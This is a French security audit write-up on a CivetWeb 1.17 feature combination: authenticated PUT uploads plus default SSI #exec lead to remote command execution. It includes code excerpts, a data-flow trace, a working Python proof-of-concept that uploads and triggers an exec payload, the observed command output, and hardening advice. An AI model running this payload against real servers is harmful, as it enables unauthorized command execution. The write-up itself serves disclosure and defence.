01 - Résumé exécutif
CivetWeb est un serveur HTTP embarqué open-source très utilisé dans les systèmes IoT, les équipements industriels et les applications C/C++ nécessitant un serveur web intégré. Sa conception monofichier (civetweb.c, environ 23 000 lignes) le rend attractif pour l'embarqué, mais concentre également une grande surface de code dans un seul composant.
Lors d'un audit de code complet de la version 1.17 (branche master, commit 588860e3), nous avons identifié une combinaison de deux fonctionnalités entièrement légitimes et documentées qui, une fois activées ensemble, permettent à tout utilisateur disposant d'identifiants PUT d'exécuter des commandes arbitraires sur le serveur. Ce n'est pas un bug du code, mais une interaction non documentée entre deux options de configuration.
Tout déploiement CivetWeb ayant activé put_delete_auth_file (PUT distant avec authentification) est exposé au RCE complet pour n'importe quel compte autorisé au PUT, y compris les comptes "upload seulement" pensés comme non-privilégiés. Le SSI #exec étant actif par défaut pour *.shtml et *.shtm, aucune configuration supplémentaire n'est requise du côté de l'attaquant.
| Attribut | Valeur |
|---|---|
| Logiciel | CivetWeb 1.17 (branche master) |
| Type | Combinaison de fonctionnalités : File Upload + SSI Exec (CWE-434 + CWE-1188) |
| Prérequis | put_delete_auth_file configuré + identifiants PUT valides |
| Impact | RCE avec les droits du processus serveur |
| Vecteur | Réseau (HTTP PUT + HTTP GET) |
| Sévérité (CVSS-like) | Medium (6.8) si auth |
| CVE assigné | Non (comportement documenté) |
| Correction recommandée | Désactiver ssi_pattern si PUT actif, ou séparer les docroots |
02 - Contexte : CivetWeb
Qu'est-ce que CivetWeb ?
CivetWeb est un fork de Mongoose (avant sa bifurcation commerciale), maintenu comme projet open-source. Il est conçu pour être intégré directement dans une application C/C++ via l'inclusion d'un seul fichier source. On le retrouve fréquemment dans des interfaces web d'équipements réseau, des consoles d'administration IoT, des logiciels embarqués industriels, et des outils de développement local.
Son modèle de configuration repose sur des paires clé/valeur passées au démarrage du serveur, soit par fichier de configuration, soit par arguments en ligne de commande. Deux de ces options sont au coeur de notre analyse : put_delete_auth_file, qui active la méthode HTTP PUT pour écrire des fichiers sur le serveur, et ssi_pattern, qui définit les extensions de fichiers interprétés comme des pages SSI (Server Side Includes).
// src/civetweb.c - table de configuration par défaut // Option PUT/DELETE : NULL par défaut = PUT complètement désactivé { "put_delete_auth_file", MG_CONFIG_TYPE_FILE, NULL }, // SSI pattern : actif par défaut pour *.shtml et *.shtm // Tout fichier servi avec ces extensions sera parsé pour des directives SSI { "ssi_pattern", MG_CONFIG_TYPE_EXT_PATTERN, "**.shtml$|**.shtm$" }, // Index files : .shtml est inclus par défaut comme page d'index possible { "index_files", MG_CONFIG_TYPE_STRING, "index.xhtml,index.html,index.htm,index.cgi,index.shtml,index.php" },
La documentation de put_delete_auth_file décrit cette option comme permettant "l'écriture de fichiers sur le serveur via PUT". La documentation de ssi_pattern décrit le SSI comme un "langage de templating serveur simple". Aucune des deux pages de documentation ne mentionne que les combiner équivaut à donner un accès shell à tout compte PUT.
03 - La brique 1 : PUT authentifié sans restriction d'extension
Lorsqu'un administrateur configure put_delete_auth_file pour pointer vers un fichier de mots de passe digest, CivetWeb accepte les requêtes HTTP PUT authentifiées et écrit leur corps directement sur le disque dans le document_root. La fonction qui gère cette écriture est put_file() à la ligne 12500 de civetweb.c.
static void put_file(struct mg_connection *conn, const char *path) { struct mg_file file = STRUCT_FILE_INITIALIZER; const char *range; int64_t r1, r2; int rc; /* ... */ if (mg_stat(conn, path, &file.stat)) { /* Fichier existant : vérifier les droits d'écriture OS */ if (access(path, W_OK) == 0) { rc = 1; /* accès accordé */ } } else { /* Nouveau fichier : créer les répertoires intermédiaires */ conn->status_code = 201; rc = put_dir(conn, path); } /* AUCUNE vérification de l'extension du fichier écrit. */ /* Un PUT /evil.shtml est traité identiquement à PUT /image.png */ /* Le corps de la requête est écrit tel quel sur le disque. */ }
La vérification d'autorisation en amont (is_authorized_for_put()) confirme uniquement que l'utilisateur connaît les identifiants du fichier put_delete_auth_file. Elle ne pose aucune question sur l'extension ou le contenu du fichier que cet utilisateur veut déposer. Un compte PUT est strictement équivalent, en termes de capacité réelle, à un accès FTP complet au document_root.
04 - La brique 2 : SSI #exec actif par défaut
Les Server Side Includes (SSI) sont une technologie de templating serveur des années 90, permettant d'inclure dynamiquement du contenu dans une page HTML sans passer par un langage de script complet. CivetWeb supporte deux directives SSI : include (inclusion d'un autre fichier) et exec (exécution d'une commande shell et inclusion de sa sortie standard dans la réponse).
La correspondance extension/interprétation SSI est vérifiée par match_prefix_strlen() sur la valeur de ssi_pattern avant chaque service de fichier. La valeur par défaut "**.shtml$|**.shtm$" s'applique à tous les fichiers sous n'importe quel sous-répertoire du document_root dont le nom se termine par .shtml ou .shtm. Aucune option séparée n'existe pour désactiver uniquement #exec en gardant #include actif.
static void do_ssi_exec(struct mg_connection *conn, char *tag) { char cmd[1024] = ""; struct mg_file file = STRUCT_FILE_INITIALIZER; /* tag = contenu de la balise après "exec" */ /* Format attendu : "commande" (avec guillemets) */ if (sscanf(tag, " \"%1023[^\"]\"", cmd) != 1) { mg_cry_internal(conn, "Bad SSI #exec: [%s]", tag); } else { cmd[1023] = 0; /* Exécution directe via /bin/sh -c (POSIX) ou cmd.exe (Windows) */ /* La commande est lue depuis le fichier .shtml, sans aucun filtrage */ if ((file.access.fp = popen(cmd, "r")) == NULL) { mg_cry_internal(conn, "Cannot SSI #exec: [%s]: %s", cmd, strerror(ERRNO)); } else { /* La sortie standard de la commande est envoyée directement */ /* dans la réponse HTTP au client qui a fait le GET */ send_file_data(conn, &file, 0, INT64_MAX, 0); pclose(file.access.fp); } } }
Attention : la syntaxe #exec dans CivetWeb est différente de la syntaxe Apache classique. CivetWeb attend <!--#exec "commande"--> (sans cmd=), contrairement à <!--#exec cmd="commande"--> utilisé par Apache mod_include. Le sscanf interne parse le premier guillemet immédiatement après le nom de la directive.
05 - Analyse du code source : les deux points de jonction
Point 1 : le dispatching SSI dans la pipeline de service de fichiers
Après résolution de l'URI en chemin de fichier et vérification des droits de lecture, CivetWeb teste systématiquement si le chemin correspond au pattern SSI avant de décider comment servir le fichier. Ce test est présent à trois endroits du code : ligne 7802 (sélection de l'index), ligne 12772 (traitement des includes SSI) et ligne 15825 (dispatch principal).
/* Après résolution du chemin et vérification auth (GET/HEAD) */ if (match_prefix_strlen( conn->dom_ctx->config[SSI_EXTENSIONS], path) > 0) { /* Le nom de fichier correspond à ssi_pattern : interprété comme SSI */ handle_ssi_file_request(conn, path, &file); } else if (is_not_modified(conn, &file.stat)) { mg_send_http_error(conn, 304, "%s", ""); } else { /* Fichier statique ordinaire */ send_file_data(conn, &file, r1, r2, 0); }
Point 2 : l'absence totale de filtre extension dans la chaîne d'autorisation PUT
La chaîne de traitement d'une requête PUT passe par is_authorized_for_put() (vérification des identifiants digest), puis directement dans put_file() sans jamais tester l'extension du fichier cible. Il n'existe pas de liste noire d'extensions dangereuses, pas de configuration de type "allow_extensions", et aucun avertissement dans le processus de validation.
06 - Chemin de données complet
PHASE 1 : Dépôt du payload PUT /evil.shtml HTTP/1.1 Authorization: Digest ... // identifiants PUT valides Content: <!--#exec "id"--> | v is_authorized_for_put() // vérifie digest, passe | v put_file(conn, "/docroot/evil.shtml") | // AUCUNE vérification d'extension v Fichier écrit sur le disque : /docroot/evil.shtml | | PHASE 2 : Déclenchement GET /evil.shtml HTTP/1.1 | v match_prefix_strlen("**.shtml$", "/docroot/evil.shtml") > 0 TRUE | v handle_ssi_file_request() | v send_ssi_file() : scan octet par octet, trouve <!--#exec | v do_ssi_exec(conn, " \"id\"") | v popen("id", "r") // /bin/sh -c "id" | v SORTIE ENVOYÉE AU CLIENT DANS LA RÉPONSE HTTP 200
07 - Démonstration live (PoC)
La démonstration a été conduite en conditions réelles sur deux environnements : un binaire compilé avec MSVC sous Windows 11 et un binaire compilé avec GCC sous Linux. Dans les deux cas, CivetWeb a été configuré avec put_delete_auth_file pointant vers un fichier de mots de passe digest standard, et ssi_pattern laissé à sa valeur par défaut.
Configuration du serveur de test
# Compiler make # Préparer le docroot mkdir -p docroot echo "hello" > docroot/index.html # Créer le fichier de mots de passe digest (option -A intégrée à civetweb) ./civetweb -A docroot/put.pwd testdomain testuser testpass123 # Résultat : testuser:testdomain:<hash MD5 digest> # Lancer le serveur avec PUT actif et SSI par défaut ./civetweb \ -listening_ports 8099 \ -document_root docroot \ -authentication_domain testdomain \ -put_delete_auth_file docroot/put.pwd \ -enable_directory_listing yes &
Script PoC
import requests from requests.auth import HTTPDigestAuth TARGET = "http://TARGET:8099" USER, PASS = "testuser", "testpass123" CMD = "id && uname -a && hostname" # Syntaxe SSI spécifique CivetWeb : pas de "cmd=" avant les guillemets payload = f'<!--#exec "{CMD}"-->' # Phase 1 : dépôt du payload via PUT authentifié (digest) url = f"{TARGET}/pwn.shtml" r = requests.put(url, data=payload.encode(), auth=HTTPDigestAuth(USER, PASS)) print(f"PUT {url} -> HTTP {r.status_code}") # Phase 2 : déclenchement via GET (aucune auth requise) r2 = requests.get(url) print(f"GET {url} -> HTTP {r2.status_code}") print("---- output ----") print(r2.text.strip()) # Nettoyage (optionnel) requests.delete(url, auth=HTTPDigestAuth(USER, PASS))
Résultat observé
$ python poc_ssi_exec_rce.py PUT http://192.168.229.131:8099/pwn.shtml -> HTTP 200 GET http://192.168.229.131:8099/pwn.shtml -> HTTP 200 ---- output ---- uid=1000(bugpwn) gid=1000(bugpwn) groups=1000(bugpwn) Linux ubuntu-lab 6.8.0-45-generic #45-Ubuntu SMP x86_64 GNU/Linux ubuntu-lab
Les commandes s'exécutent avec les droits du processus CivetWeb, typiquement le compte qui a lancé le serveur (souvent root dans les systèmes embarqués ou les appareils IoT). Sur Linux, popen() invoque /bin/sh -c "commande" : toutes les fonctionnalités du shell sont disponibles (pipes, redirection, variables d'environnement, appels système). Sur Windows, CivetWeb redéfinit popen() en _popen() qui appelle cmd.exe : mêmes capacités d'exécution.
08 - Pourquoi ce n'est pas un CVE civetweb
Certains lecteurs pourraient s'attendre à voir un numéro CVE dans cet article. Il n'y en a pas, et ce n'est pas un oubli. Voici la distinction importante : un CVE qualifie un défaut dans le code (logique cassée, dépassement de tampon, contournement de sécurité). Ici, le code fait exactement ce qu'il est documenté pour faire, sans aucune erreur de logique interne.
| Contexte | Verdict | Raison |
|---|---|---|
| CVE contre CivetWeb | Non | Comportement documenté et intentionnel, identique à Apache mod_include depuis 1995. |
| Finding pentest sur un déploiement | Oui | "Unrestricted file upload leading to RCE via SSI injection" est un finding reconnu, classé OWASP, rapporté en audit professionnel. |
| Recommandation de hardening pour CivetWeb | Oui, légitime | La documentation devrait avertir explicitement, comme Apache le fait dans son propre UserManual depuis des décennies. |
Le précédent est établi depuis longtemps. La documentation officielle d'Apache mod_include dit explicitement : "It is recommended that you do not enable exec for any directory where users other than the system administrator can write." CivetWeb, lui, n'émet aucun avertissement équivalent dans la documentation de ssi_pattern ni dans celle de put_delete_auth_file. C'est l'angle mort concret : deux pages de documentation qui décrivent deux options indépendantes, sans jamais mentionner leur interaction explosive.
09 - Recommandations
Pour les administrateurs et intégrateurs
ssi_pattern="" (valeur vide) si put_delete_auth_file est configuré. C'est la correction la plus directe et la plus sûre. Le templating SSI n'est presque jamais nécessaire dans les usages IoT ou embarqués typiques./uploads/) et configurer ssi_pattern pour ne jamais matcher ce répertoire (ex : "**.shtml$" remplacé par "/static/**.shtml$" en chemin absolu).put_delete_auth_file avec le même niveau de confiance qu'un accès shell. Ne pas distribuer ces identifiants comme des "mots de passe d'upload bénins" : ils donnent accès à la surface d'exécution complète du serveur si SSI est actif.useradd -r -s /sbin/nologin civetweb) et lancer le serveur sous cet utilisateur. Sur les systèmes embarqués sans gestion utilisateur, sandboxer le processus via seccomp, chroot ou namespaces Linux pour limiter la portée des commandes exécutées via SSI.grep -i "put_delete_auth_file\|ssi_pattern" civetweb.conf. Si les deux options sont présentes simultanément, l'exposition au RCE est immédiate pour tout détenteur des identifiants PUT.Pour le projet CivetWeb
docs/UserManual.md, section ssi_pattern : avertir explicitement que #exec est équivalent à un accès shell et ne doit jamais être actif dans des répertoires où des utilisateurs peuvent déposer des fichiers via PUT ou tout autre mécanisme d'upload. Modéliser sur l'avertissement présent dans la documentation officielle Apache mod_include.ssi_pattern (pour #include) et ssi_exec_pattern (pour #exec), cette dernière étant désactivée par défaut. Les deux fonctionnalités ne posent pas le même risque et ne devraient pas partager le même interrupteur.10 - Références
- CivetWeb, UserManual.md, section ssi_pattern : github.com/civetweb/civetweb
- CivetWeb, docs/api/mg_start.md, option put_delete_auth_file : github.com/civetweb/civetweb
- Apache HTTP Server, mod_include documentation : security warning on exec : httpd.apache.org
- OWASP, Server-Side Includes (SSI) Injection : owasp.org
- OWASP, Unrestricted File Upload (CWE-434) : owasp.org
- CivetWeb GitHub, commit 588860e3 "Refactor request handling" : github.com/civetweb/civetweb
La leçon de cet audit n'est pas "CivetWeb est vulnérable" mais "deux fonctionnalités chacune raisonnable peuvent produire ensemble un résultat qu'aucune des deux ne devrait produire seule". C'est une classe de problème de sécurité dont la détection nécessite une analyse multi-options plutôt qu'une simple lecture de code ligne par ligne. Les administrateurs doivent traiter ssi_pattern et put_delete_auth_file comme des options mutuellement exclusives jusqu'à ce que la documentation et l'implémentation CivetWeb introduisent des gardes appropriées.